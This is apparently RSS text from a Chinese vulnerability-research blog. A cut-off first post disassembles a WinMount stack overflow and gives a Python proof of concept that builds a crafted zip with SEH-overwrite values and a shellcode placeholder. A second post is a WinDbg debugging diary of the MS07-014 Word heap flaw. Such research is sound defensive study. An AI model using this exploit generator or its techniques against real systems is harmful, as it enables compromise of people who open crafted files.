.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; “\\”<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=”test.zip”<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
“\xd0\xff”<br />
“\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
“\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
“\x00\x01\x00\x01\x00&#8243;<br />
“\xfe\xff\x00\x00&#8243;<br />
“\xee\xff\x00\x00&#8243;<br />
“\x00\x00&#8243;)<br />
print ”[+] Preparing payload\n”<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print ”[+] Removing old zip file\n”<br />
os.system(“del ”+sploitfile)<br />
print ”[+] Writing payload to file\n”<br />
fobj=open(sploitfile,”w”,0)<br />
fobj.write(evilzip)<br />
print ”generate zip file ”+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print ”[+] Payload length :%d \n”%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MS07-014调试手记</title>
		<link>http://www.softrce.net/archives/213</link>
		<comments>http://www.softrce.net/archives/213#comments</comments>
		<pubDate>Tue, 12 Jan 2010 11:56:42 +0000</pubDate>
		<dc:creator>Cyg07</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=213</guid>
		<description><![CDATA[前面: 该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230; 望路过的朋友指点下关于double free的问题，thx! 分析过程: 1、异常后的栈回溯 /////////////////////////////////////////////////////////////////////////////////////////////// 0:000&#62; ub &#60;Unloaded_ta.dll&#62;+0xba898a: 00ba898b 0000            add     byte ptr [eax],al 00ba898d 13d6            adc     edx,esi 00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al 00ba8995 ff30            push    dword ptr [eax] 00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理 00ba899a ba3243313a      mov     edx,offset &#60;Unloaded_ta.dll&#62;+0x3a314331 (3a314332) 00ba899f 81c214131211    add     edx,offset &#60;Unloaded_ta.dll&#62;+0&#215;11121313 (11121314) [...]]]></description>
			<content:encoded><![CDATA[<p>前面:</p>
<p>该文是去年某月份写的，今日需要写 shellcode 再重看此文(想想好像没在大萝卜的地盘发帖过)，所以&#8230;<br />
望路过的朋友指点下关于double free的问题，thx!</p>
<p>分析过程:</p>
<p>1、异常后的栈回溯<span id="more-213"></span><br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; ub<br />
&lt;Unloaded_ta.dll&gt;+0xba898a:<br />
00ba898b 0000            add     byte ptr [eax],al<br />
00ba898d 13d6            adc     edx,esi<br />
00ba898f 3083c7415764    xor     byte ptr [ebx+645741C7h],al<br />
00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理<br />
00ba899a ba3243313a      mov     edx,offset &lt;Unloaded_ta.dll&gt;+0x3a314331 (3a314332)<br />
00ba899f 81c214131211    add     edx,offset &lt;Unloaded_ta.dll&gt;+0&#215;11121313 (11121314)<br />
00ba89a5 bf00001400      mov     edi,offset &lt;Unloaded_ta.dll&gt;+0x13ffff (00140000)<br />
0:000&gt; u<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]                    // 异常位置<br />
00ba89ac 7403            je      &lt;Unloaded_ta.dll&gt;+0xba89b0 (00ba89b1)<br />
00ba89ae 47              inc     edi<br />
00ba89af ebf9            jmp     &lt;Unloaded_ta.dll&gt;+0xba89a9 (00ba89aa)<br />
00ba89b1 83c704          add     edi,4<br />
00ba89b4 67648f060000    pop     dword ptr fs:[0000h]<br />
00ba89ba 57              push    edi<br />
00ba89bb c3              ret<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>异常时的状态<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00142b00 ecx=00000000 edx=4b435646 esi=00000000 edi=00feeffd<br />
eip=00ba89aa esp=0011aca4 ebp=6c030a01 iopl=0         nv up ei pl nz na po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203<br />
&lt;Unloaded_ta.dll&gt;+0xba89a9:<br />
00ba89aa 3b17            cmp     edx,dword ptr [edi]  ds:0023:00feeffd=00000000</p>
<p>注意到寄存器已经被覆盖<br />
edx=4b435646<br />
ebp=6c030a01</p>
<p>我们再回头看看SEH的回调处理是如何的?</p>
<p>00ba8995 ff30            push    dword ptr [eax]<br />
00ba8997 648920          mov     dword ptr fs:[eax],esp                 // 添加shellcode 的异常处理</p>
<p>0:000&gt; dd poi(fs:0) l2<br />
0011aca4  0012f904 00ba896d</p>
<p>这里已经是shellcode了,异常是shellcode搞得鬼。<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>2、栈回溯问题<br />
显然我们这时候用k命令进行回溯已经是错误的了<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; k<br />
ChildEBP RetAddr<br />
WARNING: Frame IP not in any known module. Following frames may be wrong.<br />
0011ace8 30d60800 &lt;Unloaded_ta.dll&gt;+0xba89a9<br />
0011acec 00000000 mso!Ordinal2171+0x2ab<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
手工回溯栈<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; !teb<br />
TEB at 7ffdd000<br />
ExceptionList:        0011aca4<br />
StackBase:            00130000              // 基地址<br />
StackLimit:           0011a000              // 边界<br />
SubSystemTib:         00000000<br />
FiberData:            00001e00<br />
ArbitraryUserPointer: 00000000<br />
Self:                 7ffdd000<br />
EnvironmentPointer:   00000000<br />
ClientId:             000006a4 . 00000fe0<br />
RpcHandle:            00000000<br />
Tls Storage:          00142ad0<br />
PEB Address:          7ffde000<br />
LastErrorValue:       0<br />
LastStatusValue:      c0000034<br />
Count Owned Locks:    0<br />
HardErrorMode:        0<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>栈是从基地址往低地址生长的,我从0011a000这个边界往回找<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; dds 0011a000 0011a000+1000<br />
0011a000  00000000<br />
0011a004  00000000<br />
0011a008  00000000<br />
0011a00c  00000000<br />
0011a010  00000000<br />
0011a014  00000000<br />
0011a018  00000000<br />
0011a01c  00000000<br />
&#8230;                                                             // 往下是异常处理<br />
0011a87c  7c930833 ntdll!RtlpImageNtHeader+0&#215;56<br />
0011a880  00ba896d &lt;Unloaded_ta.dll&gt;+0xba896c<br />
0011a884  7c920000 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0&#215;0)<br />
0011a888  0011ac00 &lt;Unloaded_ta.dll&gt;+0x11abff<br />
0011a88c  7c9200e0 ntdll!RtlDosPathSeperatorsString &lt;PERF&gt; (ntdll+0xe0)<br />
0011a890  0011a880 &lt;Unloaded_ta.dll&gt;+0x11a87f<br />
&#8230;<br />
0011a9a8  7c92eafa ntdll!KiUserExceptionDispatcher+0xe<br />
0011a9ac  7c92d625 ntdll!NtContinue+0xc<br />
0011a9b0  7c92eb08 ntdll!KiUserExceptionDispatcher+0x1c<br />
0011a9b4  0011a9d8 &lt;Unloaded_ta.dll&gt;+0x11a9d7<br />
0011a9b8  00000000<br />
0011a9bc  c0000005<br />
&#8230;<br />
0011ace0  00000000<br />
0011ace4  ebc03300<br />
0011ace8  0000003a &lt;Unloaded_ta.dll&gt;+0&#215;39<br />
0011acec  30d60800 mso!Ordinal2171+0x2ab            // 这里就 kb 命令能回溯到的地方,出问题的就在下一个吧<br />
0011acf0  00000000<br />
0011acf4  00000000<br />
0011acf8  00000000<br />
0011acfc  00000000<br />
&#8230;<br />
0011afac  00000000<br />
0011afb0  00000000<br />
0011afb4  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afb8  300316e8 winword+0x316e8                  // 这个就是出问题的函数了<br />
0011afbc  0011aff0 &lt;Unloaded_ta.dll&gt;+0x11afef<br />
0011afc0  30cb099d mso!MsoReleaseMemCore+0x1e       // 注意到这个 内存 释放函数<br />
0011afc4  00000003 &lt;Unloaded_ta.dll&gt;+0&#215;2<br />
0011afc8  00000001 &lt;Unloaded_ta.dll&gt;<br />
0011afcc  00000000<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>3、问题函数</p>
<p>我们回头看看 winword+0x316e8 这个函数<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; uf winword+0x316e8<br />
winword+0x316e8:<br />
300316e8 85db            test    ebx,ebx<br />
300316ea 8bf0            mov     esi,eax<br />
300316ec 5f              pop     edi<br />
300316ed 0f84d3eb0100    je      winword+0x502c6 (300502c6)</p>
<p>winword+0x316f3:<br />
300316f3 ff75fc          push    dword ptr [ebp-4]<br />
300316f6 ff157c20a730    call    dword ptr [winword!wdGetApplicationObject+0x2817a0 (30a7207c)] // 跟的时候这里就是 mso!MsoReleaseMemCore</p>
<p>winword+0x316fc:<br />
300316fc 5b              pop     ebx<br />
300316fd 8bc6            mov     eax,esi<br />
300316ff 5e              pop     esi<br />
30031700 c9              leave<br />
30031701 c21400          ret     14h</p>
<p>winword+0x502c6:<br />
300502c6 837dfc00        cmp     dword ptr [ebp-4],0<br />
300502ca 0f842c14feff    je      winword+0x316fc (300316fc)</p>
<p>winword+0x502d0:<br />
300502d0 e9f32e3200      jmp     winword!wdCommandDispatch+0x9350f (303731c8)</p>
<p>winword!wdCommandDispatch+0x9350f:<br />
303731c8 ff75fc          push    dword ptr [ebp-4]<br />
303731cb ff150c20a730    call    dword ptr [winword!wdGetApplicationObject+0x281730 (30a7200c)]<br />
303731d1 e926e5cbff      jmp     winword+0x316fc (300316fc)<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
既然有释放也必然有 alloc<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; x mso!Mso*MemCore<br />
30cafa50 mso!MsoFAllocMemCore (&lt;no parameter info&gt;)<br />
30cafccb mso!MsoFMarkMemCore (&lt;no parameter info&gt;)<br />
30cb097f mso!MsoReleaseMemCore (&lt;no parameter info&gt;)<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>显然这是个堆溢出,用IDA看了下<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
int __stdcall sub_30031687(void *a1, int a2, int a3, int a4, int a5)<br />
{<br />
int v5; // ebx@2<br />
int v6; // esi@4<br />
int v8; // eax@2<br />
int v9; // [sp+10h] [bp-4h]@2<br />
int v10; // [sp+4h] [bp-10h]@4<br />
int v11; // [sp+Ch] [bp-8h]@4<br />
unsigned int v12; // [sp+8h] [bp-Ch]@4</p>
<p>if ( (unsigned int)a3 &lt;= 0xA8C )<br />
{<br />
v6 = sub_30050378(a1, a2, a3, a4, a5);<br />
}<br />
else<br />
{<br />
v8 = MsoFMarkMemCore(&amp;v9, 0x3FA3u);<br />
v5 = v8;<br />
if ( !v8 )<br />
v9 = MsoPvAllocCore(0x3FA3u, 2);<br />
if ( v9 )<br />
{<br />
v10 = 0;<br />
v11 = v9;<br />
v12 = 0x3FA3u;<br />
v6 = sub_30031704(a1, a2, a3, a4, a5, (int)&amp;v10);<br />
if ( v5 )<br />
{<br />
MsoReleaseMemCore(v9);<br />
}<br />
else<br />
{<br />
if ( v9 )<br />
MsoFreePv(v9);<br />
}<br />
}<br />
else<br />
{<br />
v6 = sub_308FE25F(a1, a2, a3, a4, a5);<br />
}<br />
}<br />
return v6;<br />
}<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>在最后EBP被覆盖前,有Double Free的现象<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc84 30038e74 00b80418 08b3b9f4 00000000 mso!MsoReleaseMemCore<br />
0012c0cc 3006df62 08b3b9f4 00000117 00000000 winword+0x38e74<br />
0012c100 3006deb0 00000117 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006db3f 00b80398 00b80398 0cea08ca winword+0x6deb0<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6db3f<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=08b3b9f4 ecx=0012bc58 edx=7c92eb94 esi=00000000 edi=0012beb4<br />
eip=30cb097f esp=0012bc80 ebp=0012bd98 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bd98 00000000 0012f904 00000002 0e19ab00 mso!MsoReleaseMemCore<br />
0:000&gt; g<br />
Breakpoint 1 hit<br />
eax=00000001 ebx=00000000 ecx=08b3bad4 edx=7c92eb94 esi=00000001 edi=08b3bad4<br />
eip=30cb097f esp=0012bc6c ebp=0012bc80 iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
mso!MsoReleaseMemCore:<br />
30cb097f 57              push    edi<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
0012bc80 30038e74 00b80418 08b3bad4 00000000 mso!MsoReleaseMemCore<br />
0012c0c8 3006df62 08b3bad4 00000116 00000000 winword+0x38e74<br />
0012c0fc 3006e74c 00000116 000c0838 0012c128 winword+0x6df62<br />
0012c138 3006e701 00b80398 00b80398 0cea08ca winword+0x6e74c<br />
0012c170 30071151 00000001 00b80398 0cea08ca winword+0x6e701<br />
0012c228 30073769 00b80398 00000000 00000000 winword+0&#215;71151<br />
0012c2b8 3007250e 00b80398 0cea07e8 08b388dc winword+0&#215;73769<br />
0012c2e0 3006a9a0 00b80398 08b388dc 00000008 winword+0x7250e<br />
0012c520 30067b12 08b3b060 08b388dc 00000800 winword+0x6a9a0<br />
0012c640 7c80ac78 30c90000 00000000 30c90000 winword+0x67b12<br />
0012c6bc 7c80ac66 0012c6e4 7c80ac78 30c90000 kernel32!GetProcAddress+0x5b<br />
0012c6e4 0012c6d4 30c90000 0012f904 315ddcb7 kernel32!GetProcAddress+0&#215;43<br />
0012c6fc 31444fc6 31444ff3 00b80174 314450a8 &lt;Unloaded_ta.dll&gt;+0x12c6d3<br />
0012c700 31444ff3 00b80174 314450a8 00b95de8 mso!Ordinal3198+0x5f<br />
0012c708 314450a8 00b95de8 000000d8 300d4250 mso!Ordinal2669+0x1f<br />
0012c724 305d3ca5 00000001 000000d8 000000c8 mso!Ordinal2402+0&#215;13<br />
0012c73c 305d410b 00000000 00000003 00b80174 winword!wdCommandDispatch+0x2f3fec<br />
0012c764 305db543 305db54a 0012c798 00000000 winword!wdCommandDispatch+0x2f4452<br />
0012c7d8 3003ce45 3003ce53 08b3809c 08b37c7c winword!wdCommandDispatch+0x2fb88a<br />
00000000 00000000 00000000 00000000 00000000 winword+0x3ce45<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>覆盖后的<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; r ebp<br />
ebp=6c030a01</p>
<p>注意doc便宜 BE8 位置上的内容<br />
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F</p>
<p>00000BE0   00 00 00 FF 34 D6 06 00  01 0A 03 6C C4 33 00 30   &#8230;4?&#8230;.l?.0<br />
00000BF0   00 00 06 00 00 16 24 01  49 66 01 00 00 00 00 05   &#8230;&#8230;$.If&#8230;&#8230;<br />
///////////////////////////////////////////////////////////////////////////////////////////////</p>
<p>往下走的时候<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
0:000&gt; u<br />
winword+0x33c4:<br />
300033c4 55              push    ebp<br />
300033c5 8bec            mov     ebp,esp<br />
300033c7 833d74d2a83002  cmp     dword ptr [winword!wdGetApplicationObject+0x29c998 (30a8d274)],2<br />
300033ce 0f855c903600    jne     winword!wdCommandDispatch+0x8c777 (3036c430)<br />
300033d4 ff15bc130030    call    dword ptr [winword+0x13bc (300013bc)]<br />
300033da 85c0            test    eax,eax<br />
300033dc 7410            je      winword+0x33ee (300033ee)<br />
300033de ff750c          push    dword ptr [ebp+0Ch]<br />
0:000&gt; u<br />
winword+0x33e1:<br />
300033e1 ff7508          push    dword ptr [ebp+8]<br />
300033e4 50              push    eax<br />
300033e5 e80d000000      call    winword+0x33f7 (300033f7)<br />
300033ea 5d              pop     ebp<br />
300033eb c20800          ret     8                          // 需要用到 ret 8 来协调<br />
///////////////////////////////////////////////////////////////////////////////////////////////<br />
